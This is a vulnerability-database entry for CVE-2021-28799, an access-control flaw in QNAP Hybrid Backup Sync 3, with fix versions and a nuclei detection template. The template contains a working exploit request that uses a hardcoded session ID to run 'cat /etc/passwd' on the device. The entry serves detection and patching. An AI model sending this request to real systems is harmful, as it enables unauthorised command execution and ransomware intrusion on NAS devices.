HexBrain

Browse / CVEs / CVE-2021-28799

CVE-2021-28799· qnap / hybrid backup sync· CWE-285

QNAP HBS 3 - Broken Access Control

Exploited in the wild. Listed by CISA on 2022-03-31; known to be used by ransomware.

criticalseverity
9.8CVSS score
78.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An improper authorization vulnerability has been reported to affect QNAP NAS running HBS 3 (Hybrid Backup Sync. ) If exploited, the vulnerability allows remote attackers to log in to a device. This issue affects: QNAP Systems Inc. HBS 3 versions prior to v16.0.0415 on QTS 4.5.2; versions prior to v3.0.210412 on QTS 4.3.6; versions prior to v3.0.210411 on QTS 4.3.4; versions prior to v3.0.210411 on QTS 4.3.3; versions prior to v16.0.0419 on QuTS hero h4.5.1; versions prior to v16.0.0419 on QuTScloud c4.5.1~c4.5.4. This issue does not affect: QNAP Systems Inc. HBS 2 . QNAP Systems Inc. HBS 1.3 .

Impact

Remote attackers can log in without proper authorization, potentially leading to full system compromise or unauthorized data access.

Fix

Update to the latest versions: v16.0.0415 or later for QTS 4.5.2, v3.0.210412 or later for QTS 4.3.6, v3.0.210411 or later for QTS 4.3.4 and 4.3.3, v16.0.0419 or later for QuTS hero h4.5.1, and v16.0.0419 or later for QuTScloud c4.5.1~c4.5.4.

How to confirm it

Send: POST /cgi-bin/backup/hbs_mgnt.cgi
Positive when: matches /admin:.*:0:0:/ AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2021-28799 -u <target>

The full check
id: CVE-2021-28799

info:
  name: QNAP HBS 3 - Broken Access Control
  author: daffainfo
  severity: critical
  description: |
    An improper authorization vulnerability has been reported to affect QNAP NAS running HBS 3 (Hybrid Backup Sync. ) If exploited, the vulnerability allows remote attackers to log in to a device. This issue affects: QNAP Systems Inc. HBS 3 versions prior to v16.0.0415 on QTS 4.5.2; versions prior to v3.0.210412 on QTS 4.3.6; versions prior to v3.0.210411 on QTS 4.3.4; versions prior to v3.0.210411 on QTS 4.3.3; versions prior to v16.0.0419 on QuTS hero h4.5.1; versions prior to v16.0.0419 on QuTScloud c4.5.1~c4.5.4. This issue does not affect: QNAP Systems Inc. HBS 2 . QNAP Systems Inc. HBS 1.3 .
  impact: |
    Remote attackers can log in without proper authorization, potentially leading to full system compromise or unauthorized data access.
  remediation: |
    Update to the latest versions: v16.0.0415 or later for QTS 4.5.2, v3.0.210412 or later for QTS 4.3.6, v3.0.210411 or later for QTS 4.3.4 and 4.3.3, v16.0.0419 or later for QuTS hero h4.5.1, and v16.0.0419 or later for QuTScloud c4.5.1~c4.5.4.
  reference:
    - https://www.qnap.com/en/security-advisory/QSA-21-13
    - https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/
    - https://gist.github.com/daniruiz/962ecca527b59954e619c5ae2cab680c
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28799
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-28799
    cwe-id: CWE-285
    epss-score: 0.7825
    epss-percentile: 0.99582
    cpe: cpe:2.3:a:qnap:hybrid_backup_sync:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-requests: 1
    vendor: qnap
    product: hybrid_backup_sync
    shodan-query: product:"QNAP"
  tags: cve,cve2021,qnap,qts,qutshero,hbs3,rce,vkev,kev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/backup/hbs_mgnt.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8

        {"act":"run_cmd","sid":"jisoosocoolhbsmgnt","cmd":"cat /etc/passwd"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'admin:.*:0:0:'
          - '"cgi_log":'
          - '"result":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from